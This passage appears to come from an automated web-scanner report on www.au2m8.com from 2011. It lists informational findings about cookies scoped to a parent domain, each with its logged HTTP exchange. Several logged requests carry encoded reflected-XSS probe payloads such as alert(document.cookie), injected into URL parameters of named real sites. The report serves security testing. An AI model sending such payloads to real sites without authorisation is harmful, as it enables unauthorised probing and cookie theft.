GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:32:05 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:32:05 GMT
Last-Modified: Sun, 06 Feb 2011 16:32:05 GMT
Set-Cookie: bpl1297013525=1297009925; expires=Sun, 06-Feb-2011 17:32:05 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:32:05 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:32:05 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:32:05 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11381

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:32:05 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.152. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012601=1297009001; expires=Sun, 06-Feb-2011 17:16:41 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:41 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:41 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:41 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:41 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:16:41 GMT
Last-Modified: Sun, 06 Feb 2011 16:16:41 GMT
Set-Cookie: bpl1297012601=1297009001; expires=Sun, 06-Feb-2011 17:16:41 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:16:41 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:16:41 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:41 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11350

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:16:41 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.153. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012367=1297008767; expires=Sun, 06-Feb-2011 17:12:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:12:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:12:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:12:47 GMT
Last-Modified: Sun, 06 Feb 2011 16:12:47 GMT
Set-Cookie: bpl1297012367=1297008767; expires=Sun, 06-Feb-2011 17:12:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:12:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:12:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:47 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11248

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:12:47 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.154. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296950982=1296947382; expires=Sun, 06-Feb-2011 00:09:42 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:09:42 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:09:42 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; bpl1296950921=1296947321; bpl1296950936=1296947336; bpl1296950951=1296947351; bpl1296950967=1296947367; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:09:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:09:42 GMT
Last-Modified: Sat, 05 Feb 2011 23:09:42 GMT
Set-Cookie: bpl1296950982=1296947382; expires=Sun, 06-Feb-2011 00:09:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:09:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:09:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:09:42 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11462

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:09:42 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.155. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012429=1297008829; expires=Sun, 06-Feb-2011 17:13:49 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:13:49 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:13:49 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:49 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:13:49 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:13:49 GMT
Last-Modified: Sun, 06 Feb 2011 16:13:49 GMT
Set-Cookie: bpl1297012429=1297008829; expires=Sun, 06-Feb-2011 17:13:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:13:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:13:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:49 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11308

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:13:49 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.156. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012620=1297009020; expires=Sun, 06-Feb-2011 17:17:00 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:17:00 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:17:00 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:00 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:17:00 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:17:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:17:00 GMT
Set-Cookie: bpl1297012620=1297009020; expires=Sun, 06-Feb-2011 17:17:00 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:17:00 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:17:00 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:00 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11365

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:17:00 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.157. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297002302=1296998702; expires=Sun, 06-Feb-2011 14:25:02 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:25:02 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:25:02 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:02 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:25:02 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 13:25:02 GMT
Last-Modified: Sun, 06 Feb 2011 13:25:02 GMT
Set-Cookie: bpl1297002302=1296998702; expires=Sun, 06-Feb-2011 14:25:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 14:25:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 14:25:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:02 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11491

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 13:25:02 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.158. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014691=1297011091; expires=Sun, 06-Feb-2011 17:51:31 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:31 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:31 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:31 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:51:31 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:51:31 GMT
Last-Modified: Sun, 06 Feb 2011 16:51:31 GMT
Set-Cookie: bpl1297014691=1297011091; expires=Sun, 06-Feb-2011 17:51:31 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:51:31 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:51:31 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:31 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11311

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:51:31 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.159. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297015329=1297011729; expires=Sun, 06-Feb-2011 18:02:09 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:02:09 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:02:09 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:02:09 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:02:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:02:09 GMT
Last-Modified: Sun, 06 Feb 2011 17:02:09 GMT
Set-Cookie: bpl1297015329=1297011729; expires=Sun, 06-Feb-2011 18:02:09 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:02:09 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:02:09 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:02:09 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11366

...<html>
    <head>
